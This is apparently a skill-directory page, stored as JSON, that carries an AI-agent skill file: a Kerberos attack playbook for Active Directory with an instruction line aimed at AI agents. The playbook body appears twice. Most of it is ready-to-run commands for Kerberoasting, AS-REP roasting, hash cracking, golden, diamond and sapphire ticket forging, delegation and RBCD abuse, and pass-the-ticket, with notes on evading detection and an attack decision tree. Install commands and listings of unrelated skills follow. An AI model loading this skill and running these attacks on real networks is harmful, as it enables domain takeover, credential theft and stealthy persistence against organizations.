[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M7854FPG9JZBRB37HXFKM675":3,"skill-same:01M7854FPG9JZBRB37HXFKM675":47},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":16,"categories":17,"keywords":18,"publishedAt":19,"linkOnly":20,"markdownContent":21,"markdownBody":22,"frontMatter":23,"refName":24,"commitSha":25,"skillDirectory":26,"forksCount":27,"repositoryHtmlUrl":28,"repositoryHomepageUrl":29,"ownerHtmlUrl":30,"ownerBlogUrl":6,"ownerDescription":31,"updatedAt":32,"install":33,"resources":46},"01M7854FPG9JZBRB37HXFKM675","active-directory-kerberos-attacks",null,"Kerberos attack playbook for Active Directory. Use when targeting AD authentication via AS-REP roasting, Kerberoasting, golden\u002Fsilver\u002Fdiamond tickets, delegation abuse, or pass-the-ticket attacks.","Lord1Egypt\u002Fawesome-skill-forge","Lord1Egypt","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F99746359?v=4","01M7592YDNT0XK9WJ0T2MQVPDN","Mohamed Mounir Ali AL Keshita","01M75GRFNHC8VZNWEB8DKDE433",3,"MIT","https:\u002F\u002Fgithub.com\u002FLord1Egypt\u002Fawesome-skill-forge\u002Fblob\u002Fmaster\u002Fcommunity\u002Fskills_sh\u002Fs\u002Fskills-sh_yaklang_hack-skills_active-directory-kerberos-attacks\u002FSKILL.md",[],[],"2026-11-15 14:19:17",false,"---\nname: active-directory-kerberos-attacks\ndescription: >-\n  Kerberos attack playbook for Active Directory. Use when targeting AD authentication via AS-REP roasting, Kerberoasting, golden\u002Fsilver\u002Fdiamond tickets, delegation abuse, or pass-the-ticket attacks.\n---\n\n# SKILL: Kerberos Attack Playbook — Expert AD Attack Guide\n\n> **AI LOAD INSTRUCTION**: Expert Kerberos attack techniques for AD environments. Covers AS-REP roasting, Kerberoasting, golden\u002Fsilver\u002Fdiamond\u002Fsapphire tickets, delegation attacks, pass-the-ticket, and overpass-the-hash. Base models miss ticket type distinctions, delegation chain nuances, and detection-evasion trade-offs.\n\n## 0. RELATED ROUTING\n\nBefore going deep, consider loading:\n\n- [active-directory-acl-abuse](..\u002Factive-directory-acl-abuse\u002FSKILL.md) for ACL-based AD attacks often chained with Kerberos\n- [active-directory-certificate-services](..\u002Factive-directory-certificate-services\u002FSKILL.md) for ADCS-based persistence (golden certificate)\n- [ntlm-relay-coercion](..\u002Fntlm-relay-coercion\u002FSKILL.md) for NTLM relay attacks that complement Kerberos abuse\n- [windows-lateral-movement](..\u002Fwindows-lateral-movement\u002FSKILL.md) after obtaining tickets for lateral movement\n\n### Advanced Reference\n\nAlso load [KERBEROS_ATTACK_CHAINS.md](.\u002FKERBEROS_ATTACK_CHAINS.md) when you need:\n- Multi-step attack chains combining Kerberos with ACL abuse, ADCS, and relay\n- End-to-end scenarios from foothold to domain admin\n- Chained delegation attack flows\n\n---\n\n## 1. KERBEROS AUTHENTICATION PRIMER\n\n```\nClient              KDC (DC)              Service\n  │                   │                     │\n  │── AS-REQ ────────→│                     │  (1) Request TGT with user creds\n  │←─ AS-REP ─────────│                     │  (2) Receive TGT (encrypted with krbtgt hash)\n  │                   │                     │\n  │── TGS-REQ ───────→│                     │  (3) Present TGT, request service ticket\n  │←─ TGS-REP ────────│                     │  (4) Receive TGS (encrypted with service hash)\n  │                   │                     │\n  │── AP-REQ ─────────────────────────────→│  (5) Present TGS to service\n  │←─ AP-REP ──────────────────────────────│  (6) Mutual auth (optional)\n```\n\n---\n\n## 2. AS-REP ROASTING\n\nUsers with \"Do not require Kerberos preauthentication\" can be queried for AS-REP without knowing their password.\n\n### Enumerate Vulnerable Users\n\n```bash\n# Impacket — from Linux\nGetNPUsers.py DOMAIN\u002F -usersfile users.txt -dc-ip DC_IP -format hashcat -outputfile asrep.txt\n\n# Impacket — with domain creds (enumerate automatically)\nGetNPUsers.py DOMAIN\u002Fuser:password -dc-ip DC_IP -request\n\n# Rubeus — from Windows (domain-joined)\nRubeus.exe asreproast \u002Fformat:hashcat \u002Foutfile:asrep.txt\n\n# PowerView — enumerate users\nGet-DomainUser -PreauthNotRequired | Select-Object samaccountname\n```\n\n### Crack AS-REP Hash\n\n```bash\n# Hashcat mode 18200\nhashcat -m 18200 asrep.txt rockyou.txt --rules-file best64.rule\n\n# John\njohn asrep.txt --wordlist=rockyou.txt\n```\n\n---\n\n## 3. KERBEROASTING\n\nAny domain user can request TGS for accounts with SPNs. The TGS is encrypted with the service account's NTLM hash.\n\n### Request Service Tickets\n\n```bash\n# Impacket\nGetUserSPNs.py DOMAIN\u002Fuser:password -dc-ip DC_IP -request -outputfile tgs.txt\n\n# Rubeus (from Windows)\nRubeus.exe kerberoast \u002Foutfile:tgs.txt\n\n# Rubeus — target specific SPN \u002F high-value accounts\nRubeus.exe kerberoast \u002Fuser:svc_sql \u002Foutfile:tgs_sql.txt\n\n# PowerView + manual request\nGet-DomainUser -SPN | Select-Object samaccountname,serviceprincipalname\nAdd-Type -AssemblyName System.IdentityModel\nNew-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList \"MSSQLSvc\u002Fdb.domain.com\"\n```\n\n### Crack TGS Hash\n\n```bash\n# Hashcat mode 13100 (RC4) or 19700 (AES)\nhashcat -m 13100 tgs.txt rockyou.txt --rules-file best64.rule\n\n# RC4 tickets crack much faster than AES256 — target RC4 if possible\n# Rubeus: \u002Ftgtdeleg forces RC4 on some configs\nRubeus.exe kerberoast \u002Ftgtdeleg\n```\n\n---\n\n## 4. TICKET FORGING — GOLDEN, SILVER, DIAMOND, SAPPHIRE\n\n### Golden Ticket\n\nForge TGT using the `krbtgt` hash → impersonate any user, including non-existent ones.\n\n```bash\n# Impacket — forge golden ticket\nticketer.py -nthash KRBTGT_HASH -domain-sid S-1-5-21-... -domain DOMAIN.COM administrator\n\n# Mimikatz\nkerberos::golden \u002Fuser:administrator \u002Fdomain:DOMAIN.COM \u002Fsid:S-1-5-21-... \u002Fkrbtgt:KRBTGT_HASH \u002Fptt\n\n# Rubeus\nRubeus.exe golden \u002Frc4:KRBTGT_HASH \u002Fuser:administrator \u002Fdomain:DOMAIN.COM \u002Fsid:S-1-5-21-... \u002Fptt\n```\n\n**Prerequisites**: krbtgt NTLM hash (from DCSync or NTDS.dit)\n**Persistence**: Valid until krbtgt password is changed **twice**\n\n### Silver Ticket\n\nForge TGS using the service account's hash → access specific service only, no KDC interaction.\n\n```bash\n# Impacket — forge silver ticket for CIFS (file share)\nticketer.py -nthash SERVICE_HASH -domain-sid S-1-5-21-... -domain DOMAIN.COM -spn cifs\u002Ftarget.domain.com administrator\n\n# Mimikatz\nkerberos::golden \u002Fuser:administrator \u002Fdomain:DOMAIN.COM \u002Fsid:S-1-5-21-... \u002Ftarget:target.domain.com \u002Fservice:cifs \u002Frc4:SERVICE_HASH \u002Fptt\n```\n\n| Target Service | SPN Format | Use Case |\n|---|---|---|\n| File shares | `cifs\u002Fhost` | Access SMB shares |\n| WinRM | `http\u002Fhost` | Remote PowerShell |\n| LDAP | `ldap\u002Fdc` | DCSync-like queries |\n| MSSQL | `MSSQLSvc\u002Fhost:1433` | Database access |\n| Exchange | `http\u002Fmail.domain.com` | Mailbox access |\n\n### Diamond Ticket\n\nModify a legitimately issued TGT → harder to detect than golden ticket.\n\n```bash\n# Rubeus — request real TGT then modify PAC\nRubeus.exe diamond \u002Fkrbkey:KRBTGT_AES256 \u002Fuser:administrator \u002Fdomain:DOMAIN.COM \u002Fdc:DC01.DOMAIN.COM \u002Fticketuser:targetadmin \u002Fticketuserid:500 \u002Fgroups:512 \u002Fptt\n```\n\n**Advantage**: The ticket's metadata (timestamps, enc type) matches a real TGT issuance.\n\n### Sapphire Ticket\n\nUses S4U2Self to get a real PAC for the target user, then embeds it in a forged ticket.\n\n```bash\n# Rubeus\nRubeus.exe diamond \u002Fkrbkey:KRBTGT_AES256 \u002Fticketuser:administrator \u002Fticketuserid:500 \u002Fgroups:512 \u002Ftgtdeleg \u002Fptt\n```\n\n**Advantage**: PAC is a genuine copy from KDC, making detection extremely difficult.\n\n---\n\n## 5. DELEGATION ATTACKS\n\n### Unconstrained Delegation\n\nHosts with unconstrained delegation store user TGTs in memory.\n\n```bash\n# Enumerate (PowerView)\nGet-DomainComputer -Unconstrained | Select-Object dnshostname\n\n# Coerce admin authentication → capture TGT (Rubeus monitor mode)\nRubeus.exe monitor \u002Finterval:5 \u002Fnowrap\n\n# Trigger via PrinterBug \u002F PetitPotam → DC authenticates → TGT captured\nSpoolSample.exe DC01.domain.com COMPROMISED_HOST.domain.com\n```\n\n### Constrained Delegation (S4U2Proxy)\n\n```bash\n# Enumerate\nGet-DomainComputer -TrustedToAuth | Select-Object dnshostname,msds-allowedtodelegateto\n\n# S4U2Self + S4U2Proxy → get TGS for allowed service as any user\ngetST.py -spn cifs\u002Ftarget.domain.com -impersonate administrator DOMAIN\u002Fsvc_account:password -dc-ip DC_IP\n\n# Rubeus\nRubeus.exe s4u \u002Fuser:svc_account \u002Frc4:HASH \u002Fimpersonateuser:administrator \u002Fmsdsspn:cifs\u002Ftarget.domain.com \u002Fptt\n```\n\n### Resource-Based Constrained Delegation (RBCD)\n\nRequires write access to `msDS-AllowedToActOnBehalfOfOtherIdentity` on the target.\n\n```bash\n# 1. Create or control a computer account (MAQ > 0)\naddcomputer.py -computer-name 'FAKE$' -computer-pass 'P@ss123' -dc-ip DC_IP DOMAIN\u002Fuser:password\n\n# 2. Set RBCD on target\nrbcd.py -delegate-from 'FAKE$' -delegate-to 'TARGET$' -dc-ip DC_IP -action write DOMAIN\u002Fuser:password\n\n# 3. S4U2Self + S4U2Proxy from controlled account\ngetST.py -spn cifs\u002FTARGET.DOMAIN.COM -impersonate administrator DOMAIN\u002F'FAKE$':'P@ss123' -dc-ip DC_IP\n\n# 4. Use the ticket\nexport KRB5CCNAME=administrator.ccache\npsexec.py -k -no-pass DOMAIN\u002Fadministrator@TARGET.DOMAIN.COM\n```\n\n---\n\n## 6. PASS-THE-TICKET & OVERPASS-THE-HASH\n\n### Pass-the-Ticket\n\n```bash\n# Impacket — use .ccache ticket\nexport KRB5CCNAME=\u002Fpath\u002Fto\u002Fticket.ccache\npsexec.py -k -no-pass DOMAIN\u002Fadministrator@target.domain.com\n\n# Mimikatz — inject .kirbi ticket into session\nkerberos::ptt ticket.kirbi\n\n# Rubeus\nRubeus.exe ptt \u002Fticket:base64_ticket_blob\n```\n\n### Overpass-the-Hash (Pass-the-Key)\n\nUse NTLM hash to request a Kerberos TGT → pure Kerberos authentication (avoids NTLM logging).\n\n```bash\n# Impacket\ngetTGT.py DOMAIN\u002Fuser -hashes :NTLM_HASH -dc-ip DC_IP\nexport KRB5CCNAME=user.ccache\n\n# Rubeus (from Windows)\nRubeus.exe asktgt \u002Fuser:administrator \u002Frc4:NTLM_HASH \u002Fptt\n\n# Mimikatz\nsekurlsa::pth \u002Fuser:administrator \u002Fdomain:DOMAIN.COM \u002Fntlm:NTLM_HASH \u002Frun:cmd.exe\n```\n\n---\n\n## 7. KERBEROS DOUBLE HOP PROBLEM\n\nWhen authenticating via Kerberos across two hops (A → B → C), B cannot forward A's credentials to C by default.\n\n### Solutions\n\n| Method | How | Risk |\n|---|---|---|\n| CredSSP | Sends actual credentials to B | Credential exposure |\n| Unconstrained delegation on B | B stores A's TGT | Over-privileged |\n| Constrained delegation | B allowed to delegate to C | Preferred — scoped |\n| RBCD | C trusts B to delegate | Modern, flexible |\n| Invoke-Command nested | `-Credential` param in nested session | Exposes password in script |\n\n---\n\n## 8. KERBEROS ATTACK DECISION TREE\n\n```\nAD environment — targeting Kerberos\n│\n├── Have domain user creds?\n│   ├── Kerberoast → crack service account hashes (§3)\n│   ├── Enumerate users without preauth → AS-REP roast (§2)\n│   ├── Enumerate delegation → unconstrained\u002Fconstrained\u002FRBCD (§5)\n│   └── Enumerate SPNs for high-value accounts\n│\n├── Have service account hash?\n│   ├── Silver ticket for that service (§4)\n│   └── If constrained delegation → S4U2Proxy chain (§5)\n│\n├── Have krbtgt hash?\n│   ├── Golden ticket → any user, any service (§4)\n│   ├── Diamond ticket → stealthier forging (§4)\n│   └── Sapphire ticket → hardest to detect (§4)\n│\n├── Compromised host with unconstrained delegation?\n│   ├── Monitor for incoming TGTs (Rubeus monitor)\n│   ├── Coerce DC authentication (PrinterBug\u002FPetitPotam)\n│   └── Capture DC TGT → DCSync\n│\n├── Can write to target's msDS-AllowedToActOnBehalfOfOtherIdentity?\n│   └── RBCD attack (§5) → create machine account + delegate\n│\n├── Have NTLM hash but need Kerberos auth?\n│   └── Overpass-the-Hash → request TGT (§6)\n│\n└── Have .kirbi \u002F .ccache ticket?\n    └── Pass-the-Ticket → use directly (§6)\n```\n","# SKILL: Kerberos Attack Playbook — Expert AD Attack Guide\n\n> **AI LOAD INSTRUCTION**: Expert Kerberos attack techniques for AD environments. Covers AS-REP roasting, Kerberoasting, golden\u002Fsilver\u002Fdiamond\u002Fsapphire tickets, delegation attacks, pass-the-ticket, and overpass-the-hash. Base models miss ticket type distinctions, delegation chain nuances, and detection-evasion trade-offs.\n\n## 0. RELATED ROUTING\n\nBefore going deep, consider loading:\n\n- [active-directory-acl-abuse](..\u002Factive-directory-acl-abuse\u002FSKILL.md) for ACL-based AD attacks often chained with Kerberos\n- [active-directory-certificate-services](..\u002Factive-directory-certificate-services\u002FSKILL.md) for ADCS-based persistence (golden certificate)\n- [ntlm-relay-coercion](..\u002Fntlm-relay-coercion\u002FSKILL.md) for NTLM relay attacks that complement Kerberos abuse\n- [windows-lateral-movement](..\u002Fwindows-lateral-movement\u002FSKILL.md) after obtaining tickets for lateral movement\n\n### Advanced Reference\n\nAlso load [KERBEROS_ATTACK_CHAINS.md](.\u002FKERBEROS_ATTACK_CHAINS.md) when you need:\n- Multi-step attack chains combining Kerberos with ACL abuse, ADCS, and relay\n- End-to-end scenarios from foothold to domain admin\n- Chained delegation attack flows\n\n---\n\n## 1. KERBEROS AUTHENTICATION PRIMER\n\n```\nClient              KDC (DC)              Service\n  │                   │                     │\n  │── AS-REQ ────────→│                     │  (1) Request TGT with user creds\n  │←─ AS-REP ─────────│                     │  (2) Receive TGT (encrypted with krbtgt hash)\n  │                   │                     │\n  │── TGS-REQ ───────→│                     │  (3) Present TGT, request service ticket\n  │←─ TGS-REP ────────│                     │  (4) Receive TGS (encrypted with service hash)\n  │                   │                     │\n  │── AP-REQ ─────────────────────────────→│  (5) Present TGS to service\n  │←─ AP-REP ──────────────────────────────│  (6) Mutual auth (optional)\n```\n\n---\n\n## 2. AS-REP ROASTING\n\nUsers with \"Do not require Kerberos preauthentication\" can be queried for AS-REP without knowing their password.\n\n### Enumerate Vulnerable Users\n\n```bash\n# Impacket — from Linux\nGetNPUsers.py DOMAIN\u002F -usersfile users.txt -dc-ip DC_IP -format hashcat -outputfile asrep.txt\n\n# Impacket — with domain creds (enumerate automatically)\nGetNPUsers.py DOMAIN\u002Fuser:password -dc-ip DC_IP -request\n\n# Rubeus — from Windows (domain-joined)\nRubeus.exe asreproast \u002Fformat:hashcat \u002Foutfile:asrep.txt\n\n# PowerView — enumerate users\nGet-DomainUser -PreauthNotRequired | Select-Object samaccountname\n```\n\n### Crack AS-REP Hash\n\n```bash\n# Hashcat mode 18200\nhashcat -m 18200 asrep.txt rockyou.txt --rules-file best64.rule\n\n# John\njohn asrep.txt --wordlist=rockyou.txt\n```\n\n---\n\n## 3. KERBEROASTING\n\nAny domain user can request TGS for accounts with SPNs. The TGS is encrypted with the service account's NTLM hash.\n\n### Request Service Tickets\n\n```bash\n# Impacket\nGetUserSPNs.py DOMAIN\u002Fuser:password -dc-ip DC_IP -request -outputfile tgs.txt\n\n# Rubeus (from Windows)\nRubeus.exe kerberoast \u002Foutfile:tgs.txt\n\n# Rubeus — target specific SPN \u002F high-value accounts\nRubeus.exe kerberoast \u002Fuser:svc_sql \u002Foutfile:tgs_sql.txt\n\n# PowerView + manual request\nGet-DomainUser -SPN | Select-Object samaccountname,serviceprincipalname\nAdd-Type -AssemblyName System.IdentityModel\nNew-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList \"MSSQLSvc\u002Fdb.domain.com\"\n```\n\n### Crack TGS Hash\n\n```bash\n# Hashcat mode 13100 (RC4) or 19700 (AES)\nhashcat -m 13100 tgs.txt rockyou.txt --rules-file best64.rule\n\n# RC4 tickets crack much faster than AES256 — target RC4 if possible\n# Rubeus: \u002Ftgtdeleg forces RC4 on some configs\nRubeus.exe kerberoast \u002Ftgtdeleg\n```\n\n---\n\n## 4. TICKET FORGING — GOLDEN, SILVER, DIAMOND, SAPPHIRE\n\n### Golden Ticket\n\nForge TGT using the `krbtgt` hash → impersonate any user, including non-existent ones.\n\n```bash\n# Impacket — forge golden ticket\nticketer.py -nthash KRBTGT_HASH -domain-sid S-1-5-21-... -domain DOMAIN.COM administrator\n\n# Mimikatz\nkerberos::golden \u002Fuser:administrator \u002Fdomain:DOMAIN.COM \u002Fsid:S-1-5-21-... \u002Fkrbtgt:KRBTGT_HASH \u002Fptt\n\n# Rubeus\nRubeus.exe golden \u002Frc4:KRBTGT_HASH \u002Fuser:administrator \u002Fdomain:DOMAIN.COM \u002Fsid:S-1-5-21-... \u002Fptt\n```\n\n**Prerequisites**: krbtgt NTLM hash (from DCSync or NTDS.dit)\n**Persistence**: Valid until krbtgt password is changed **twice**\n\n### Silver Ticket\n\nForge TGS using the service account's hash → access specific service only, no KDC interaction.\n\n```bash\n# Impacket — forge silver ticket for CIFS (file share)\nticketer.py -nthash SERVICE_HASH -domain-sid S-1-5-21-... -domain DOMAIN.COM -spn cifs\u002Ftarget.domain.com administrator\n\n# Mimikatz\nkerberos::golden \u002Fuser:administrator \u002Fdomain:DOMAIN.COM \u002Fsid:S-1-5-21-... \u002Ftarget:target.domain.com \u002Fservice:cifs \u002Frc4:SERVICE_HASH \u002Fptt\n```\n\n| Target Service | SPN Format | Use Case |\n|---|---|---|\n| File shares | `cifs\u002Fhost` | Access SMB shares |\n| WinRM | `http\u002Fhost` | Remote PowerShell |\n| LDAP | `ldap\u002Fdc` | DCSync-like queries |\n| MSSQL | `MSSQLSvc\u002Fhost:1433` | Database access |\n| Exchange | `http\u002Fmail.domain.com` | Mailbox access |\n\n### Diamond Ticket\n\nModify a legitimately issued TGT → harder to detect than golden ticket.\n\n```bash\n# Rubeus — request real TGT then modify PAC\nRubeus.exe diamond \u002Fkrbkey:KRBTGT_AES256 \u002Fuser:administrator \u002Fdomain:DOMAIN.COM \u002Fdc:DC01.DOMAIN.COM \u002Fticketuser:targetadmin \u002Fticketuserid:500 \u002Fgroups:512 \u002Fptt\n```\n\n**Advantage**: The ticket's metadata (timestamps, enc type) matches a real TGT issuance.\n\n### Sapphire Ticket\n\nUses S4U2Self to get a real PAC for the target user, then embeds it in a forged ticket.\n\n```bash\n# Rubeus\nRubeus.exe diamond \u002Fkrbkey:KRBTGT_AES256 \u002Fticketuser:administrator \u002Fticketuserid:500 \u002Fgroups:512 \u002Ftgtdeleg \u002Fptt\n```\n\n**Advantage**: PAC is a genuine copy from KDC, making detection extremely difficult.\n\n---\n\n## 5. DELEGATION ATTACKS\n\n### Unconstrained Delegation\n\nHosts with unconstrained delegation store user TGTs in memory.\n\n```bash\n# Enumerate (PowerView)\nGet-DomainComputer -Unconstrained | Select-Object dnshostname\n\n# Coerce admin authentication → capture TGT (Rubeus monitor mode)\nRubeus.exe monitor \u002Finterval:5 \u002Fnowrap\n\n# Trigger via PrinterBug \u002F PetitPotam → DC authenticates → TGT captured\nSpoolSample.exe DC01.domain.com COMPROMISED_HOST.domain.com\n```\n\n### Constrained Delegation (S4U2Proxy)\n\n```bash\n# Enumerate\nGet-DomainComputer -TrustedToAuth | Select-Object dnshostname,msds-allowedtodelegateto\n\n# S4U2Self + S4U2Proxy → get TGS for allowed service as any user\ngetST.py -spn cifs\u002Ftarget.domain.com -impersonate administrator DOMAIN\u002Fsvc_account:password -dc-ip DC_IP\n\n# Rubeus\nRubeus.exe s4u \u002Fuser:svc_account \u002Frc4:HASH \u002Fimpersonateuser:administrator \u002Fmsdsspn:cifs\u002Ftarget.domain.com \u002Fptt\n```\n\n### Resource-Based Constrained Delegation (RBCD)\n\nRequires write access to `msDS-AllowedToActOnBehalfOfOtherIdentity` on the target.\n\n```bash\n# 1. Create or control a computer account (MAQ > 0)\naddcomputer.py -computer-name 'FAKE$' -computer-pass 'P@ss123' -dc-ip DC_IP DOMAIN\u002Fuser:password\n\n# 2. Set RBCD on target\nrbcd.py -delegate-from 'FAKE$' -delegate-to 'TARGET$' -dc-ip DC_IP -action write DOMAIN\u002Fuser:password\n\n# 3. S4U2Self + S4U2Proxy from controlled account\ngetST.py -spn cifs\u002FTARGET.DOMAIN.COM -impersonate administrator DOMAIN\u002F'FAKE$':'P@ss123' -dc-ip DC_IP\n\n# 4. Use the ticket\nexport KRB5CCNAME=administrator.ccache\npsexec.py -k -no-pass DOMAIN\u002Fadministrator@TARGET.DOMAIN.COM\n```\n\n---\n\n## 6. PASS-THE-TICKET & OVERPASS-THE-HASH\n\n### Pass-the-Ticket\n\n```bash\n# Impacket — use .ccache ticket\nexport KRB5CCNAME=\u002Fpath\u002Fto\u002Fticket.ccache\npsexec.py -k -no-pass DOMAIN\u002Fadministrator@target.domain.com\n\n# Mimikatz — inject .kirbi ticket into session\nkerberos::ptt ticket.kirbi\n\n# Rubeus\nRubeus.exe ptt \u002Fticket:base64_ticket_blob\n```\n\n### Overpass-the-Hash (Pass-the-Key)\n\nUse NTLM hash to request a Kerberos TGT → pure Kerberos authentication (avoids NTLM logging).\n\n```bash\n# Impacket\ngetTGT.py DOMAIN\u002Fuser -hashes :NTLM_HASH -dc-ip DC_IP\nexport KRB5CCNAME=user.ccache\n\n# Rubeus (from Windows)\nRubeus.exe asktgt \u002Fuser:administrator \u002Frc4:NTLM_HASH \u002Fptt\n\n# Mimikatz\nsekurlsa::pth \u002Fuser:administrator \u002Fdomain:DOMAIN.COM \u002Fntlm:NTLM_HASH \u002Frun:cmd.exe\n```\n\n---\n\n## 7. KERBEROS DOUBLE HOP PROBLEM\n\nWhen authenticating via Kerberos across two hops (A → B → C), B cannot forward A's credentials to C by default.\n\n### Solutions\n\n| Method | How | Risk |\n|---|---|---|\n| CredSSP | Sends actual credentials to B | Credential exposure |\n| Unconstrained delegation on B | B stores A's TGT | Over-privileged |\n| Constrained delegation | B allowed to delegate to C | Preferred — scoped |\n| RBCD | C trusts B to delegate | Modern, flexible |\n| Invoke-Command nested | `-Credential` param in nested session | Exposes password in script |\n\n---\n\n## 8. KERBEROS ATTACK DECISION TREE\n\n```\nAD environment — targeting Kerberos\n│\n├── Have domain user creds?\n│   ├── Kerberoast → crack service account hashes (§3)\n│   ├── Enumerate users without preauth → AS-REP roast (§2)\n│   ├── Enumerate delegation → unconstrained\u002Fconstrained\u002FRBCD (§5)\n│   └── Enumerate SPNs for high-value accounts\n│\n├── Have service account hash?\n│   ├── Silver ticket for that service (§4)\n│   └── If constrained delegation → S4U2Proxy chain (§5)\n│\n├── Have krbtgt hash?\n│   ├── Golden ticket → any user, any service (§4)\n│   ├── Diamond ticket → stealthier forging (§4)\n│   └── Sapphire ticket → hardest to detect (§4)\n│\n├── Compromised host with unconstrained delegation?\n│   ├── Monitor for incoming TGTs (Rubeus monitor)\n│   ├── Coerce DC authentication (PrinterBug\u002FPetitPotam)\n│   └── Capture DC TGT → DCSync\n│\n├── Can write to target's msDS-AllowedToActOnBehalfOfOtherIdentity?\n│   └── RBCD attack (§5) → create machine account + delegate\n│\n├── Have NTLM hash but need Kerberos auth?\n│   └── Overpass-the-Hash → request TGT (§6)\n│\n└── Have .kirbi \u002F .ccache ticket?\n    └── Pass-the-Ticket → use directly (§6)\n```\n",{"name":5,"description":7},"master","4aa004da461d820f4ea5499e58eb8d196cf99016","community\u002Fskills_sh\u002Fs\u002Fskills-sh_yaklang_hack-skills_active-directory-kerberos-attacks",0,"https:\u002F\u002Fgithub.com\u002FLord1Egypt\u002Fawesome-skill-forge","https:\u002F\u002Fskill-explorer-rho.vercel.app","https:\u002F\u002Fgithub.com\u002FLord1Egypt","Unbreakable. Unstoppable. Unmatched⚡.\r\n Speaker of machine tongues 🤖  | World-builder of decentralized dreams 🌐 | Defender of the digital realm🛡️.","2026-06-10 08:21:01",{"source":8,"skillName":5,"commands":34,"prompt":44,"zipAvailable":45},[35,38,41],{"tool":36,"command":37},"npx","npx skills add Lord1Egypt\u002Fawesome-skill-forge --skill active-directory-kerberos-attacks",{"tool":39,"command":40},"bunx","bunx skills add Lord1Egypt\u002Fawesome-skill-forge --skill active-directory-kerberos-attacks",{"tool":42,"command":43},"pnpm","pnpm dlx skills add Lord1Egypt\u002Fawesome-skill-forge --skill active-directory-kerberos-attacks","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002FLord1Egypt\u002Fawesome-skill-forge\u002Fblob\u002Fmaster\u002Fcommunity\u002Fskills_sh\u002Fs\u002Fskills-sh_yaklang_hack-skills_active-directory-kerberos-attacks\u002FSKILL.md",true,[],[48,55,62,69,76,83],{"skillNo":49,"name":50,"nameZh":6,"description":51,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":52,"categories":53,"keywords":54,"publishedAt":19},"01M785WKJB99G3STR1NF9NRTJW","youtube-content","YouTube transcripts to summaries, threads, blogs.","https:\u002F\u002Fgithub.com\u002FLord1Egypt\u002Fawesome-skill-forge\u002Fblob\u002Fmaster\u002Fskills\u002Fyoutube-content\u002FSKILL.md",[],[],{"skillNo":56,"name":57,"nameZh":6,"description":58,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":59,"categories":60,"keywords":61,"publishedAt":19},"01M785WEFHB0G2S9YA6EPR3H0E","xurl","X\u002FTwitter via xurl CLI: post, search, DM, media, v2 API.","https:\u002F\u002Fgithub.com\u002FLord1Egypt\u002Fawesome-skill-forge\u002Fblob\u002Fmaster\u002Fskills\u002Fxurl\u002FSKILL.md",[],[],{"skillNo":63,"name":64,"nameZh":6,"description":65,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":66,"categories":67,"keywords":68,"publishedAt":19},"01M785W98EDN4EFJXJPMQEHCRC","touchdesigner-mcp","Control a running TouchDesigner instance via twozero MCP — create operators, set parameters, wire connections, execute Python, build real-time visuals. 36 native tools.","https:\u002F\u002Fgithub.com\u002FLord1Egypt\u002Fawesome-skill-forge\u002Fblob\u002Fmaster\u002Fskills\u002Ftouchdesigner-mcp\u002FSKILL.md",[],[],{"skillNo":70,"name":71,"nameZh":6,"description":72,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":73,"categories":74,"keywords":75,"publishedAt":19},"01M785W5S9FP3QBH2V191E025P","test-driven-development","TDD: enforce RED-GREEN-REFACTOR, tests before code.","https:\u002F\u002Fgithub.com\u002FLord1Egypt\u002Fawesome-skill-forge\u002Fblob\u002Fmaster\u002Fskills\u002Ftest-driven-development\u002FSKILL.md",[],[],{"skillNo":77,"name":78,"nameZh":6,"description":79,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":80,"categories":81,"keywords":82,"publishedAt":19},"01M785W2AS08NSSH9YATCV6FJB","teams-meeting-pipeline","Operate the Teams meeting summary pipeline via Hermes CLI — summarize meetings, inspect pipeline status, replay jobs, manage Microsoft Graph subscriptions.","https:\u002F\u002Fgithub.com\u002FLord1Egypt\u002Fawesome-skill-forge\u002Fblob\u002Fmaster\u002Fskills\u002Fteams-meeting-pipeline\u002FSKILL.md",[],[],{"skillNo":84,"name":85,"nameZh":6,"description":86,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":87,"categories":88,"keywords":89,"publishedAt":19},"01M785VXKW4T34BTP1SCHW1R7F","systematic-debugging","4-phase root cause debugging: understand bugs before fixing.","https:\u002F\u002Fgithub.com\u002FLord1Egypt\u002Fawesome-skill-forge\u002Fblob\u002Fmaster\u002Fskills\u002Fsystematic-debugging\u002FSKILL.md",[],[]]